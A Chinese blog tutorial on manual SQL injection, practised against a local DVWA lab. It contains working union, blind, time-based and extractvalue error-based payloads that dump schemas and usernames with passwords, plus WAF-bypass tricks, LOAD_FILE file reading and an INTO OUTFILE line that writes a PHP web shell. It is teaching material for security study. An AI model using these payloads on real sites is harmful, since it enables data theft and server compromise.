【web安全】第六弹:手工SQL注入详解
前一段时间,在对SQL注入有了新的理解之后,写了这篇文章。本来准备投稿,因为内容过于基础被打回来了,想想屯着也没意思,发出来发出来~~本来有好多图的,但是博客园发图很麻烦,word文档的链接会贴在文章最后面,有兴趣的可以下载下来看。
注:本文目标读者是对SQL注入有一定了解,能使用一些工具(SQLMAP、pangolin等)进行自动化SQL注入测试,又想了解工具原理和SQL注入原理的童鞋。
0x00 基础理论篇
0x01 注入技巧&基本模式:
首先,要对下面的一些函数和基本语句有一定的了解。
1. 普通的union select:
select * from user where id='12' union select 1,2,3,4 from fabiao#+'.js
2. and select:
URL and (select count(username)from admin)>0 //猜解数据库列名,还可以猜解数据类型
URL and (select length(username) from admin limit 1)>0 //猜解数据库列名长度:修改后面的>0是猜解长度
URL and (select top 1 ascii(substring(username 1,1)) from admin)>0 //猜解内容:猜解出的内容需对应ASCII表,ascii、substring为MySQL的函数,MsSQL略有不同
3. 基于时间的盲注:
URL union select 1,benchmark(1000000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97
URL union select if(substring(Password,1,1)='a',benchmark(10000000,sha(1)),0) User,Password from mysql.user where user ='root'
4. 写入到文件:
mysql> select '<?php echo shell_exec("ifconfig"); ?>' into outfile 'F:/wamp/www/shell.php'; //貌似在页面编码为gbk的时候,<>会被转义为实体编码,要考虑和文件包含漏洞一起利用
5. 读取文件:
URL union select 1,LOAD_FILE('E:/wamp/www/test.txt'),2,3,4,5,6--+ //注意mysql 读写文件用\的时候要转义,即E:\\wamp\\www\\test.txt
6. 从数据库读取数据
Mysql > select concat(username,0x3a,password) from admin; 以用户名:密码的格式从数据库读取数据
URL and ascii(substring(select concat(username,0x3a,password) from admin),1,1)>0
7. 注释:
针对mysql /*! */
其他数据库会忽略掉省略符号之间的语句,常用于绕过waf
8. 注入时不需要空格的例子:
select/**/*/**/from/**/user; // /**/可以充当空格
0x02 高使用率的函数:
concat(str1,str2,str3) 字符串连接
group_concat(DISTINCT column_name) 与group by配合使用,添加distinct后,将不同的column_name连接起来
ascii() 获取ASCII码
substring(str,pos,length) 对字符串str,从pos开始,截取length
benchmark(1000000,md5('test')) 在时间盲注中会用到,执行1000000遍md5('test')来起到延时注入的效果
if(condition,true_sentence,false_sentence) 在时间盲注中用到,如果condition成立,执行第二个参数中的语句,否则执行第三个参数中的语句。
0x03 判断用什么方式注入:
看完上面的部分,那么问题来了,有Union注入,也有and注入,还有什么盲注,SQL注入到底哪家强?
判断方法是介个样子的。添加单引号' 查看结果:
1. 报错==>报错注入 || Union注入
2. 不报错,但是页面信息有变化(屏蔽了错误信息)==>基于布尔的盲注 || Union注入
3. 页面信息无变化==>基于时间的盲注 || Union注入
0x04 基于时间的盲注:
基于时间的盲注,是一个小难点。这里来重点讲一下。
什么样的环境下会用到基于时间的盲注?当前执行的语句没有回显。
举例说明:登录。
$num = select count(*) from user where uid='$uid' and sleep(5)--+ ' and password='$pwd'
if($num) return 1;
else return 0;
根据数据库查询到的数据条数,会有两种返回值,成功和失败。在注入的时候,可能由于注入语句的构造不合理造成语法错误,返回失败。也有可能是并不满足某些条件(比如说 ascii(substring(password,1,1))>80),返回失败。我只需要第二种返回,但第一种返回会造成干扰。为了区分开,我让执行正确的语句,延迟几秒再回来,这样就区分开了~这就是基于时间的盲注。
同理,还有update,delete等语句的利用,也需要基于时间的盲注,这里不细讲,如果有兴趣,可以参考http://drops.wooyun.org/tips/2078 《利用insert,update和delete注入获取数据》
0x10 实战篇
以DVWA系统来进行讲解,将安全等级调为最低
0x11 MySQL内建数据库:
当mysq版本大于5.0的时候,会存在一个内建数据库——information_schema,存了很多数据库字段、数据表等的相关信息。
其中最常用的数据表是columns,从字面意思上来看,是字段名,但是这张数据表里也存了字段所在表,及所在数据库的信息。
举个例子,我要提取所有的数据库名:
select group_concat(distinct table_schema) from information_schema.columns;
提取 dvwa 数据库中所有的表名:
select group_concat(distinct table_name) from information_schema.columns where table_schema='DVWA';
0x12 报错注入:
mysql中有三种报错注入——floor、extractValue、updateXml。仅用extractValue来举个例子。
提交后,MySQL报错,按照上面的结论,为报错注入。
基础注入语句:and extractvalue(1, concat(0x5c, ( select table_name from information_schema.tables limit 1 )));
1. 爆数据库
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and
extractvalue(1, concat(0x5c, ( select table_schema from
information_schema.columns group by table_schema limit 2,1
)))--+
可以通过更改注入语句中的limit来爆出不同的数据库
2. 爆数据表
和爆数据表是一个原理
3. 爆表中字段
XPATH报错的对长度有一些限制,那还是一个一个的来
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and
extractvalue(1, concat(0x5c, ( select column_name from
information_schema.columns where table_schema='dvwa' and table_name='users'
limit 1,1 )))--+
4. 爆数据
根据上一次爆出的字段信息,去对应的数据表爆数据。这里可以用concat将需要爆的字段连接在一起组团爆出来~~
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and
extractvalue(1, concat(0x5c, ( select concat(user,0x5c,password) from users
limit 1 )))--+
0x13 union注入:
个人比较喜欢用union~~union的时候,要求:两次查询的列数必须一致。所以要先想办法知道第一次查询了多少列~
1. 判断列数
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1' order by 1 --+
不断修改order by的数字,直到页面报错,或者页面发生变化,临界的数字即为列数
注意这个地方的列数,是查询的列数,而不是数据表的列数。
举个例子:
select user,password from users
//查询的列数为2
select * from users
//查询的列数==数据表的列数
2. 判断哪些数据是显示在页面上的
因为不是查询的所有内容都会显示在页面上(有一些内容输出在注释或者不输出),为了数据回显,要看一下哪几列可以利用。
如果没有可以用的回显位置的话,那就不能用union注入了。
3. 爆数据库(所有的结果都粗来了~):
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1'
union select group_concat(DISTINCT table_schema),2 from
information_schema.columns --+
0x14 基于布尔的盲注:
如果Union注入没有找到回显点,错误信息又被屏蔽的情况下,就要考虑布尔盲注了。盲注的话,往往需要多次重复。这里仅举几个简单的例子。
1. 基本判断方法
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1'
and ascii(substring((select password from users limit 1),1,1))>51--+
一位一位的验证,逐步缩小大小,定位到某一个ASCII值。
0x15 基于时间的盲注:
时间盲注应该是最后的选择,没有办法的办法。因为时间盲注是通过数据库的delay来判断是否注入成功,某个条件是否成立的。效率很低,注入的速度也很慢。利用场景在上文中提到了,需要好好体会。本段中的例子并不贴切。
1. 判断是否存在时间盲注
union形式(如果效果不明显可以再两个0): http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' union select
1,benchmark(10000000,md5("test")) --+
boolen形式:http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and sleep(5) --+
2. 爆数据库:
具体过程和布尔型盲注相仿。
0x30 文中用到的工具:
Firefox浏览器+Hackbar(浏览器扩展)
DVWA(开源web渗透测试系统)
参考资料:
http://drops.wooyun.org/tips/2078 利用insert,update和delete注入获取数据
http://phpinfo.me/2014/01/02/146.html mysql 3种报错模式注入
http://drops.wooyun.org/tips/143 sqlmap用户手册
http://www.cnblogs.com/kuoaidebb/p/4570101.html 博客园 - 阔爱的贝贝
DOC文档:http://files.cnblogs.com/files/kuoaidebb/SQL%E6%B3%A8%E5%85%A5%E5%8D%9A%E5%AE%A2.zip
【web安全】第六弹:手工SQL注入详解的更多相关文章
- SQL注入详解
SQL是一种将SQL代码添加到输入参数中,传递到SQL服务器解析并执行的一种攻击手段 产生的原因 web开发人员无法保证所有输入都已经安全过滤 攻击者利用发送给SQL服务器的输入数据,构造可执行的SQ ...
- Sql 注入详解:宽字节注入+二次注入
sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
- MySQL&SQL server&Oracle&Access&PostgreSQL数据库sql注入详解
判断数据库的类型 当我们通过一些测试,发现存在SQL注入之后,首先要做的就是判断数据库的类型. 常用的数据库有MySQL.Access.SQLServer.Oracle.PostgreSQL.虽然绝大 ...
- php防止SQL注入详解及防范
SQL 注入是PHP应用中最常见的漏洞之一.事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义( ...
- SQL注入详解及技巧
Tip小技巧 :在白盒测试的过程中,在sql语句的下一句加上 echo $sql. '<br>'; 可以在页面中输出完整的sql语句 效果图 :
- ORACLE PL/SQL编程详解
ORACLE PL/SQL编程详解 编程详解 SQL语言只是访问.操作数据库的语言,并不是一种具有流程控制的程序设计语言,而只有程序设计语言才能用于应用软件的开发.PL /SQL是一种高级数据库程序设 ...
- Hadoop Hive sql语法详解
Hadoop Hive sql语法详解 Hive 是基于Hadoop 构建的一套数据仓库分析系统,它提供了丰富的SQL查询方式来分析存储在Hadoop 分布式文件系统中的数据,可以将结构 化的数据文件 ...
- [推荐]ORACLE PL/SQL编程详解之一:PL/SQL 程序设计简介(千里之行,始于足下)
原文:[推荐]ORACLE PL/SQL编程详解之一:PL/SQL 程序设计简介(千里之行,始于足下) [推荐]ORACLE PL/SQL编程详解之一: PL/SQL 程序设计简介(千里之行,始于足下 ...
随机推荐
- mysql聚合函数
1.统计一下插入的数据总数 SELECT COUNT(giftCertificateId) AS number FROM gift_certificate WHERE giftCertificateN ...
- SQL Server 内存管理
windows memory: Memory: Cache Bytes 是系统的working set, 也就是系统使用的物理内存数目. 可以观察Windows用了多少物理内存. 1. System ...
- plsql 连接oralce数据库,报ora 12557 tns 协议适配器不可加载错误
使用plsql 连接oracle 数据库报ora 12557 错误: 解决方案: 1:首先确保服务中的service以及监听器都开启 2:F:\app\Administrator\product\11 ...
- MSP430矩阵及独立键盘
在学习MSP430的时候,总是有很多东西记不住,同时又是英文的资料,好多东西也是没怎么看透,英文虽过六级但是看英文资料还是有一种想睡的冲动啊,在学习键盘的时候,我的这块板子有些不同,矩阵键盘和独立键盘 ...
- uiatuomator提示shortMsg=java.lang.RuntimeException
自动化要做断言,原本打算使用的testng,因为它断言后就能出结果,还能生成报告,但是在实践过程中,硬是没有成功,所以还是放弃,使用的junit,后面使用的cts框架生成的邮件,现在记录使用junit ...
- 转:『代码』JS封装 Ajax级联下拉列表
在博客园看到一篇不错的AJAX级联下拉列表,觉得不错,特地拿下来 :转载来自:『大雪无痕』 ,原文地址 //当一个 下拉列表 改变时,触发所有联动:(警告:各下拉列表之间 请不要出现 循环依赖) // ...
- ie编程半天的学习总结
自己好久没有来这个博客了,自己陆续去几个地方写博客,一个c++博客园,一个csdn. 感觉都一般吧,看不到什么好的博客,可能自己没有看到吧.以后就在这个博客记录一点技术笔记吧!自己比较懒,只要做为记录 ...
- oracle里面的时间转字符串to_char(),字符串转时间to_date(),以及substr和instr的使用。
工作中编写过的一条语句 select * from Bt_Holiday where to_char(Setting_DATE,'YYYY')=Substr('2015-03-00',1,4) AND ...
- union 和 union all 的区别
Union因为要进行重复值扫描,所以效率低.如果合并没有刻意要删除重复行,那么就使用Union All 两个要联合的SQL语句 字段个数必须一样,而且字段类型要“相容”(一致): 如果我们需要将两个 ...
- 无限大整数相加算法的C语言源代码
忙里偷闲,终于完成了无限大整数相加算法的C语言代码,无限大整数相加算法的算法分析在这里. 500位的加法运行1000次,不打印结果的情况下耗时0.036秒,打印结果的情况下耗时16.285秒. 下面是 ...